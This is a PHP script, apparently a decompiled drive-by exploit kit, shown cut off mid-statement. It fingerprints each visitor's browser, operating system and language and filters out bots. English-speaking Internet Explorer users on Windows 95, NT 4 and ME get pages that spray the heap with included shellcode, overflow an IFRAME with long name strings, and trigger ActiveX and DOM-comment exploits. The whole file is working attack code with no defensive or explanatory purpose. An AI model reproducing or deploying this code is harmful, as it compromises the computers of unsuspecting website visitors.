<?php
/************************/
/*                      */
/*Dezended By Martian   */
/*munir.skilledsoft.com */
/*                      */
/*                      */
/************************/
$user_agent = getenv( "HTTP_USER_AGENT" );
$Lru = strpos( $_SERVER['HTTP_ACCEPT_LANGUAGE'], "ru" );
$Len = strpos( $_SERVER['HTTP_ACCEPT_LANGUAGE'], "en" );
if ( strstr( $user_agent, "Nav" ) )
{
    $browser = "Netscape";
}
else if ( strstr( $user_agent, "Lynx" ) )
{
    $browser = "Lynx";
}
else if ( strstr( $user_agent, "Opera" ) )
{
    $browser = "Opera";
}
else if ( strstr( $user_agent, "WebTV" ) )
{
    $browser = "WebTV";
}
else if ( strstr( $user_agent, "Konqueror" ) )
{
    $browser = "Konqueror";
}
else if ( strstr( $user_agent, "MSIE" ) )
{
    $browser = "MSIE";
}
else
{
    $browser = "other";
}
if ( strstr( $user_agent, "Windows 95" ) )
{
    $os = "Windows 95";
}
else if ( strstr( $user_agent, "Windows NT 4" ) )
{
    $os = "Windows NT 4";
}
else if ( strstr( $user_agent, "Win 9x 4.9" ) )
{
    $os = "Windows ME";
}
else if ( strstr( $user_agent, "Windows 98" ) )
{
    $os = "Windows 98";
}
else if ( strstr( $user_agent, "Windows NT 5.0" ) )
{
    $os = "Windows 2000";
}
else if ( strstr( $user_agent, "SV1" ) )
{
    $os = "Windows XP SP2";
}
else if ( strstr( $user_agent, "Windows NT 5.1" ) )
{
    $os = "Windows XP";
}
else if ( strstr( $user_agent, "Windows NT 5.2" ) )
{
    $os = "Windows 2003";
}
else if ( eregi( "bot", getenv( "HTTP_USER_AGENT" ) ) || ereg( "Google", getenv( "HTTP_USER_AGENT" ) ) || ereg( "Slurp", getenv( "HTTP_USER_AGENT" ) ) || ereg( "Scooter", getenv( "HTTP_USER_AGENT" ) ) || eregi( "Spider", getenv( "HTTP_USER_AGENT" ) ) || eregi( "Infoseek", getenv( "HTTP_USER_AGENT" ) ) )
{
    $os = "Bot";
}
else
{
    $os = "other";
}
if ( $browser == MSIE )
{
    if ( $os == "Bot" )
    {
        echo "FUCK OFF FUCKEN BOT!!!!!!!!";
    }
    if ( $os == "Windows 95" && $Lru !== false )
    {
        echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\"><title></title></head><body bgcolor=snow>";
    }
    else
    {
        if ( $os == "Windows 95" && $Len !== false )
        {
            echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\"><title></title></head><body bgcolor=snow><script language=\"javascript\">shellcode = unescape(\"";
            include( "shellcodes/95-EN-0xBFF70000/95_sc_utf16.txt" );
            echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>\r\n<IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBB NAME=\"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC&#3341;&#3341;\"></IFRAME><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
            include( "shellcodes/95-EN-0xBFF70000/95_sc_utf16.txt" );
            echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;</SCRIPT>\r\n<object classid=\"CLSID:3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5\"></object>\r\n<object classid=\"CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F\"></object><SCRIPT id=\"Hwu\" language=\"javascript\">hp_spr = unescape(\"%u0D0D%u0D0D\"); iHpdwu= 0x88; szHiql = 0x900000;for (i=0; i<7; i++) hp_spr += hp_spr;try { exploit(opener.document.createComment(hp_spr));} catch(e) {window.open(document.location.href);}function exploit(parent_element) {\r\nopener.focus();window.moveTo(100000, 100000);iHp_addr = 0x12000000;sHp_raddr = unescape(\"%u0D0D%u0D0D\");sSh = unescape(\"%u3737%u3737\" + \"";
            include( "shellcodes/95-EN-0xBFF70000/95_sc_utf16.txt" );
            echo "\");iHp_hSaz = 0x38;\r\nszHiql = 0x800000;iHp_bSaz = 0x400000;iSh_Sz = sSh.length * 2;iNo_Sz = iHp_bSaz - (iHp_hSaz + iSh_Sz);\r\nsNopslide = sHp_raddr;Ox88 = 0x88;\r\nwhile (sNopslide.length*2<iNo_Sz) sNopslide+=sNopslide;\r\nsNopslide = sNopslide.substring(0, iNo_Sz/2);iHeap_block_count = (iHp_addr-0x400000) / iHp_bSaz;\r\nmemory = new Array();for (i=0;i<iHeap_block_count;i++) memory[i] = sNopslide + sSh;\r\nhp_spr = sNopslide.substring(0, 0x100);for(i=0;i<1024;i++) try {parent_element.appendChild(document.createComment(hp_spr));} catch (e) { }}</SCRIPT><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
            include( "shellcodes/95-EN-0xBFF70000/95_sc_utf16.txt" );
            echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<700;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>";
        }
        else
        {
            if ( $os == "Windows NT 4" && $Lru !== false )
            {
                echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow>";
            }
            else
            {
                if ( $os == "Windows NT 4" && $Len !== false )
                {
                    echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow><script language=\"javascript\">shellcode = unescape(\"";
                    include( "shellcodes/NT-EN-0x77F00000/nt_sc_utf16.txt" );
                    echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>\r\n<IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBB NAME=\"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC&#3341;&#3341;\"></IFRAME><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                    include( "shellcodes/NT-EN-0x77F00000/nt_sc_utf16.txt" );
                    echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;</SCRIPT>\r\n<object classid=\"CLSID:3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5\"></object>\r\n<object classid=\"CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F\"></object><SCRIPT id=\"Hwu\" language=\"javascript\">hp_spr = unescape(\"%u0D0D%u0D0D\"); iHpdwu= 0x88; szHiql = 0x900000;for (i=0; i<7; i++) hp_spr += hp_spr;try { exploit(opener.document.createComment(hp_spr));} catch(e) {window.open(document.location.href);}function exploit(parent_element) {\r\nopener.focus();window.moveTo(100000, 100000);iHp_addr = 0x12000000;sHp_raddr = unescape(\"%u0D0D%u0D0D\");sSh = unescape(\"%u3737%u3737\" + \"";
                    include( "shellcodes/NT-EN-0x77F00000/nt_sc_utf16.txt" );
                    echo "\");iHp_hSaz = 0x38;\r\nszHiql = 0x800000;iHp_bSaz = 0x400000;iSh_Sz = sSh.length * 2;iNo_Sz = iHp_bSaz - (iHp_hSaz + iSh_Sz);\r\nsNopslide = sHp_raddr;Ox88 = 0x88;\r\nwhile (sNopslide.length*2<iNo_Sz) sNopslide+=sNopslide;\r\nsNopslide = sNopslide.substring(0, iNo_Sz/2);iHeap_block_count = (iHp_addr-0x400000) / iHp_bSaz;\r\nmemory = new Array();for (i=0;i<iHeap_block_count;i++) memory[i] = sNopslide + sSh;\r\nhp_spr = sNopslide.substring(0, 0x100);for(i=0;i<1024;i++) try {parent_element.appendChild(document.createComment(hp_spr));} catch (e) { }}</SCRIPT><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                    include( "shellcodes/NT-EN-0x77F00000/nt_sc_utf16.txt" );
                    echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<700;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>";
                }
                else
                {
                    if ( $os == "Windows ME" && $Lru !== false )
                    {
                        echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow>";
                    }
                    else
                    {
                        if ( $os == "Windows ME" && $Len !== false )
                        {
                            echo "<html><head><meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1251\">\r\n<title></title></head><body bgcolor=snow><script language=\"javascript\">shellcode = unescape(\"";
                            include( "shellcodes/ME-EN-0xBFF60000/me_sc_utf16.txt" );
                            echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;location.reload();</SCRIPT>\r\n<IFRAME SRC=file://BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB\r\nBBBBBBBBBBBBBBBBBBBBBBBBBB NAME=\"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\r\nCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC&#3341;&#3341;\"></IFRAME><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
                            include( "shellcodes/ME-EN-0xBFF60000/me_sc_utf16.txt" );
                            echo "\"); BgBlok32 = unescape(\"%u0D0D%u0D0D\"); SizeOb=90;headOv2 = 20;\r\nSpace = headOv2+shellcode.length\r\nwhile (BgBlok32.length<Space) BgBlok32+=BgBlok32;\r\nFillbl32 = BgBlok32.substring(0, Space);Nz=Fillbl32;\r\nwhile(Nz<0x20000) Nz=Fillbl32+SizeOb;Bl = BgBlok32.substring(0, BgBlok32.length-Space);\r\nwhile(Bl.length+Space<0x40000) Bl = Bl+Bl+Fillbl32;memory = new Array();\r\nfor (i=0;i<750;i++) memory[i] = Bl + shellcode;</SCRIPT>\r\n<object classid=\"CLSID:3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5\"></object>\r\n<object classid=\"CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F\"></object><SCRIPT id=\"Hwu\" language=\"javascript\">hp_spr = unescape(\"%u0D0D%u0D0D\"); iHpdwu= 0x88; szHiql = 0x900000;for (i=0; i<7; i++) hp_spr += hp_spr;try { exploit(opener.document.createComment(hp_spr));} catch(e) {window.open(document.location.href);}function exploit(parent_element) {\r\nopener.focus();window.moveTo(100000, 100000);iHp_addr = 0x12000000;sHp_raddr = unescape(\"%u0D0D%u0D0D\");sSh = unescape(\"%u3737%u3737\" + \"";
                            include( "shellcodes/ME-EN-0xBFF60000/me_sc_utf16.txt" );
                            echo "\");iHp_hSaz = 0x38;\r\nszHiql = 0x800000;iHp_bSaz = 0x400000;iSh_Sz = sSh.length * 2;iNo_Sz = iHp_bSaz - (iHp_hSaz + iSh_Sz);\r\nsNopslide = sHp_raddr;Ox88 = 0x88;\r\nwhile (sNopslide.length*2<iNo_Sz) sNopslide+=sNopslide;\r\nsNopslide = sNopslide.substring(0, iNo_Sz/2);iHeap_block_count = (iHp_addr-0x400000) / iHp_bSaz;\r\nmemory = new Array();for (i=0;i<iHeap_block_count;i++) memory[i] = sNopslide + sSh;\r\nhp_spr = sNopslide.substring(0, 0x100);for(i=0;i<1024;i++) try {parent_element.appendChild(document.createComment(hp_spr));} catch (e) { }}</SCRIPT><SCRIPT language=\"javascript\">shellcode = unescape(\"%u4343\"+\"%u4343\"+\"";
